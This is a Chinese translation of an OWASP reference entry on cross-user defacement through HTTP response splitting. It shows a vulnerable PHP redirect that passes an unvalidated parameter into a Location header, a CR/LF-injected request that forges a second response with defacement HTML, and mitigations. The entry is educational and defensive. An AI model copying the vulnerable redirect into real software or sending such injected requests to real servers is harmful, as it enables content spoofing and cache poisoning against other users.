(OWASP汉化)攻击系列大全(二十二): 跨用户污损攻击

最新版本 (mm/dd/yy): 05/27/2009
源网页Cross-User Defacement

介绍

攻击者对具有漏洞的服务器发送一个精心构造的请求,服务器可能会错误的将单个请求解析为两个不同的请求,从而返回两个不同的响应包,而之中的响应包可能是有着相同TCP连接的用户的。这种攻击可以通过”说服”用户自己提交恶意请求来实现,或者是在攻击者和用户共享TCP连接下来实现攻击。最好的情况是,攻击者可以让用户觉得网站被入侵了,使得用户对某个网站应用的安全性失去信任。最差的情况是,攻击者会提供特定的内容,目的是模仿应用程序的行为,但是返回一些私密信息给攻击者。

受限于很多条件,这个攻击在现实环境下非常难实现。

web应用上的HTTP response Splitting和缺陷可能导致出现跨用户污损攻击。从攻击者角度上看,应用程序允许使用CR(Carrige Return)和LF(Line Feed) 字符填充多个标题字段

风险因素

待定

例子

下面代码实现的是: 接受page参数,然后重定向到这个网页上。
Example: http://testsite.com/redir.php?page=http://other.testsite.com/

<?php
header ("Location: " . $_GET['page']);
?>

构造的请求

/redir.php?page=http://other.testsite.com%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>deface</html>

通过这样,HTTP会返回两个响应
1

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://testsite.com/redir.php?page=http://other.testsite.com
Content-Length: 0

2

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>deface</html>

如果用户共享一个TCP连接(代理服务器),通过这种攻击可能可以替换掉服务器给某个用户的网页.

涉及的危险代理

待定

相关攻击

HTTP Response Splitting
Cache Poisoning

相关漏洞

Category:Input Validation Vulnerability

相关措施

验证输入的数据 (CR and LF).
禁止HTTP头嵌套在另一个HTTP的字段当中
目录:输入验证

引用

待定